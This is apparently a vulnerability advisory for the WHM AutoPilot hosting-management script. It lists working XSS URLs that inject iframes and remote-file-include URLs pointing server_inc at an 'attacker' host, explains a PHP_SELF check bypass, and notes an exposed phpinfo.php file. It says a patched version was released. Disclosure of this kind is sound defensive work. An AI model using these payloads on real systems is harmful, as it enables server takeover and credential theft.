Description:
Started by a webhost looking for more out of a simple managment script, Brandee Diggs (Owner of Spinn A Web Cafe, Founder of Benchmark Designs) setout to build an internal management system that could handle the day to day operations of a normal hosting company. The key was to remove the need to constantly watch your orders and manage the installs. Alas, WHM AutoPilot was born. [ as quoted from their official website ] 


Cross Site Scripting:
There are a significant number of cross site scripting issues in WHM AutoPilot. Most of these are caused by calling scripts directly and specifying certain variable values yourself. Below are a few examples, though there are many more XSS holes than just the examples I am showing below. 

http://path/inc/header.php?site_title=%3C/title%3E%3Ciframe%3E
http://path/admin/themes/blue/header.php?http_images='%3E%3Ciframe%3E 

I believe that every file in the /themes/blue/ directory can be manipulated in this way, and of course this can be used to steal a users credentials or render hostile code. 


File Include Vulnerability:
WHM AutoPilot is susceptible to several potentially very dangerous file include vulns. Below are several examples of how files can be included and possibly executed remotely. 

http://path/inc/header.php/step_one.php?server_inc=http://attacker/step_one_tables.php
http://path/inc/step_one_tables.php?server_inc=http://attacker/js_functions.php
http://path/inc/step_two_tables.php?server_inc=http://attacker/js_functions.php 

This can be used to include php scripts and possibly take control of the webserver and more. A user does not have to be logged in to exploit this vulnerability either so that just makes it even more dangerous. Now for something weird: See the first example I gave above? Notice the "header.php/step_one.php"? Well, that was done to get around a piece of code that looked something like this. I am not going to include the actual code since this is proprietary software, but this should definitely give you the idea of what happened. 
if (ereg("test.php", $PHP_SELF)==true)
{
    include $server_inc."/step_one_tables.php";
}

This works because $PHP_SELF will return the value of "header.php/step_ one.php" expectedly. The below excerpt was taken from the php manual. 

"PHP_SELF
The filename of the currently executing script, relative to the document root. For instance, $_SERVER['PHP_SELF'] in a script at the address http://example.com/test.php/foo.bar would be /test.php/foo.bar. The __FILE__ constant contains the full path and filename of the current (i.e. included) file." 

I see a lot of developers use this variable without giving much though to how it can be taken advantage of. I have even found it can cause be used to conduct cross site scripting attacks when the phpinfo() function is called. 


Information Disclosure:
By default WHM AutoPilot is shipped with a phpinfo() script that is accessible to anyone. As far as I know WHM AutoPilot needs register globals to work, but if you want to check php settings anyway the file can be found in the root directory as "phpinfo.php" 


Solution:
I have contacted the developers, and a new version of WHM Autopilot is available.
